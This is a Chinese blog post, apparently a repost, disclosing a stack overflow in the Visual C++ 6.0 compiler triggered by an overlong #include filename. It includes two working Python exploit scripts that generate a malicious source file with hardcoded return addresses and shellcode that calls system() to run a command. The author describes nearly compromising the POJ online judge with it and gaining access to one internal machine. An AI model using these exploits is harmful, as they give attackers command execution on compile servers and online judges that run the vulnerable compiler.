vc6.0栈溢出

问题处在include的文件名长度未检测。
比如
#include "AAAA....AA"(超多A)
就会挂。

<=2008-2-17 发现漏洞。

2008-3-3 报告给MS,当天收到答复,说正在研究中。
2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏
洞发布安全公告或安全建议,且建议我不要公开。

我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。

可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。
既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。

下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。


vc6_exp.py

C++代码
  1. ######################################################################   
  2. #!/usr/bin/env python   
  3. # vc6 exploit by cly   
  4. # 2008-2-17   
  5. import struct   
  6.   
  7. address_jmp_esp = 0x1065AEB3   
  8. address_system = 0x77BF93C7   
  9. address_exit = 0x77C09E7E   
  10. filename = 'e.c'   
  11. cmd = 'calc'   
  12.   
  13. f = open(filename, 'wb' )   
  14. f.write('#include "c://A' + cmd + '||' + 'A' * (146 - len(cmd))   
  15. + struct .pack('<i' , address_jmp_esp)   
  16. + '/x83/xEC/x33/x83/xEC/x65/x8B/xC4/x83/xEC
  17. /x04/x89/x04/x24/xE8'   
  18. + struct .pack('<i' , address_system - 0x0012F0AF) + '/xE8'   
  19. + struct .pack('<i' , address_exit - 0x0012F0B4) + 'A' * 84 +   
  20. '"' )   
  21. f.close()   
  22. ######################################################################   
  23.   
  24. vc6_exp2.py   
  25. ######################################################################   
  26. #!/usr/bin/env python   
  27. # vc6 exploit by cly   
  28. # 2008-2-17   
  29. import struct   
  30.   
  31. filename = 'e.c'   
  32. cmd = 'calc'   
  33.   
  34. address_data = 0x1066EFFB   
  35.   
  36. shellcode = '/x32/xC0' # xor al, al   
  37. shellcode += '/xA2/x9E/xF0/x66/x10' # mov [1066F09E], al   
  38. shellcode += '/xA2/xA5/xF0/x66/x10' # mov [1066F0A5], al   
  39. shellcode += '/x68/x94/xf0/x66/x10' # push 1066F094 ; ASCII   
  40. "msvcrt.dll"   
  41. shellcode += '/xFF/x15/xD8/x31/x65/x10' # call [106531D8] ;   
  42. kernel32.GetModuleHandleA   
  43. shellcode += '/x68/x9F/xF0/x66/x10' # push 1066F09F ; ASCII   
  44. "system"   
  45. shellcode += '/x50' # push eax   
  46. shellcode += '/xFF/x15/xDC/x31/x65/x10' # call [106531DC] ;   
  47. kernel32.GetProcAddress   
  48. shellcode += '/x68/xA6/xF0/x66/x10' # push 1066F0A6 ; ASCII   
  49. cmd   
  50. shellcode += '/xFF/xD0' # call eax   
  51. shellcode += '/x32/xC0' # xor al, al   
  52. shellcode += '/x50' # push eax   
  53. shellcode += '/xFF/x15/xB8/x31/x65/x10' # call [106531B8] ;   
  54. kernel32.ExitProcess   
  55.   
  56. f = open(filename, 'wb' )   
  57. f.write('#include "c://' + shellcode + ' A' * (149 - len(shellcode))
  58. + struct.pack(' <i', address_data) + ' msvcrt.dllAsystemA'
  59. + cmd + ' ' * (90 - len(cmd)) + ' "')   
  60. f.close()   
  61. ######################################################################   引用原文http://hi.baidu.com/7878k/blog/item/42dd49ef67a6a1e9cf1b3e57.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值